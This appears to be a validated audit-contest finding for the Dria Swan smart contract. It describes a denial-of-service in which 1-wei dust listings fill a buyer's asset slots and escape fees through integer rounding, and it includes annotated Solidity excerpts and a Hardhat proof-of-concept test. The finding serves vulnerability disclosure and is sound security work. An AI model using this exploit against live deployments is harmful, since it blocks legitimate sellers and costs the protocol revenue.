Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Sales can be DOS by Dust Assets Listing

Summary

A malicious seller can list multiple assets at 1 wei price, effectively blocking legitimate listings due to the maxAssetCount limit while paying zero fees due to rounding down in integer division. This results in denial of service for legitimate sellers and loss of revenue for the protocol and buyer agents. The attack is particularly possible as the protocol is intended to be deployed on Base L2, where gas costs are significantly lower than mainnet.

Vulnerability Details

The protocol calculates fees as percentages using integer division:

https://github.com/Cyfrin/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/swan/Swan.sol#L258-L272

// In Swan.sol
function transferRoyalties(AssetListing storage asset) internal {
// Calculate fees
uint256 buyerFee = (asset.price * asset.royaltyFee) / 100; // @audit with price = 1, this is 0, since royalteFee is between 1 and 99
uint256 driaFee = (buyerFee * getCurrentMarketParameters().platformFee) / 100; // @audit cascading to 0
// First, Swan receives the entire fee from seller
token.transferFrom(asset.seller, address(this), buyerFee); // @audit transfers 0
// send the buyer's portion to them
token.transfer(asset.buyer, buyerFee - driaFee); // @audit transfers 0
// then it sends the remaining to Swan owner
token.transfer(owner(), driaFee); // @audit transfers 0
}

When listing an asset there is no minimum price check, allowing a seller to list assets at 1 wei price:
https://github.com/Cyfrin/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/swan/Swan.sol#L157-L191

list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price, address _buyer)
external
{
// @audit No minimum price check
// ...
@> if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}
// ...
}

Impact

HIGH - Multiple severe impacts:

Denial of service for legitimate sellers by exhausting maxAssetCount
Loss of protocol fees (driaFee = 0)
Loss of buyer agent fees (buyerFee = 0)
Minimal cost to attacker (only gas fees)
Blocks protocol's economic model
Attack is highly economical on Base L2:

Gas costs are significantly lower than mainnet
Attacker can spam dust listings very cheaply
Multiple rounds of DoS are cost-effective
Can target multiple buyer agents simultaneously

Proof of Concept

In this example we have market parameters set to maxAssetCount = 5
Put this testsuit below everything in Swan.test.ts

describe("AUDIT: Dust Listing Attack", () => {
before(async function () {
// Get signers
[dria, buyer, seller] = await ethers.getSigners();
// Deploy token
const supply = parseEther("1000");
token = await deployTokenFixture(dria, supply);
// Setup market parameters
const marketParams = {
withdrawInterval: minutes(30),
sellInterval: minutes(60),
buyInterval: minutes(10),
platformFee: 1n,
maxAssetCount: 5n,
timestamp: BigInt(await time.latest())
};
// Deploy Swan with minimal needed settings
({ swan } = await deploySwanFixture(
dria,
token,
STAKES,
FEES,
marketParams,
ORACLE_PARAMETERS
));
// Create and fund buyer agent
[buyerAgent] = await createBuyers(swan, [{
name: "DustAttackBuyer",
description: "Buyer for dust attack test",
royaltyFee: 1, // 1% royalty fee
amountPerRound: parseEther("1"),
owner: buyer
}]);
// Fund seller
await transferTokens(token, [
[seller.address, parseEther("1")]
]);
// Approve swan to spend tokens
await token.connect(seller).approve(
await swan.getAddress(),
parseEther("1")
);
});
it("should allow dust listings that bypass fees and block legitimate listings", async function () {
const currRound = 0n;
const dustPrice = parseEther("0.000000000000000001"); // 1 wei in ether format
// Log initial state
console.log("Buyer Agent royalty fee:", await buyerAgent.royaltyFee());
// First dust listing
await swan.connect(seller).list(
"DUST",
"DUST",
DESC,
dustPrice,
await buyerAgent.getAddress()
);
// Get the listed asset
const buyerAddress = await buyerAgent.getAddress();
const assets = await swan.getListedAssets(buyerAddress, currRound);
const dustAsset = assets[0];
// Get listing and log values
const listing = await swan.getListing(dustAsset);
console.log("Listed price:", listing.price);
// Convert to same type for comparison
const listedPrice = BigInt(listing.price.toString());
expect(listedPrice).to.equal(dustPrice);
expect(listing.status).to.equal(AssetStatus.Listed);
// Fill up remaining slots with dust listings
const maxAssetCount = await swan.getCurrentMarketParameters().then(p => p.maxAssetCount);
console.log("Max asset count:", maxAssetCount);
for (let i = 1; i < maxAssetCount; i++) {
await swan.connect(seller).list(
"DUST",
"DUST",
DESC,
dustPrice,
buyerAddress
);
}
// Verify maxAssetCount reached
const allAssets = await swan.getListedAssets(buyerAddress, currRound);
expect(allAssets.length).to.equal(maxAssetCount);
// Try to list legitimate asset of 1 ETH - should fail
const legitimatePrice = parseEther("1"); // 1 ETH
await expect(
swan.connect(seller).list(
"REAL",
"REAL",
DESC,
legitimatePrice,
buyerAddress
)
).to.be.revertedWithCustomError(
swan,
"AssetLimitExceeded"
).withArgs(maxAssetCount);
});
});

Recommendations

Add minimum price requirement for asset listings or fee floors.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.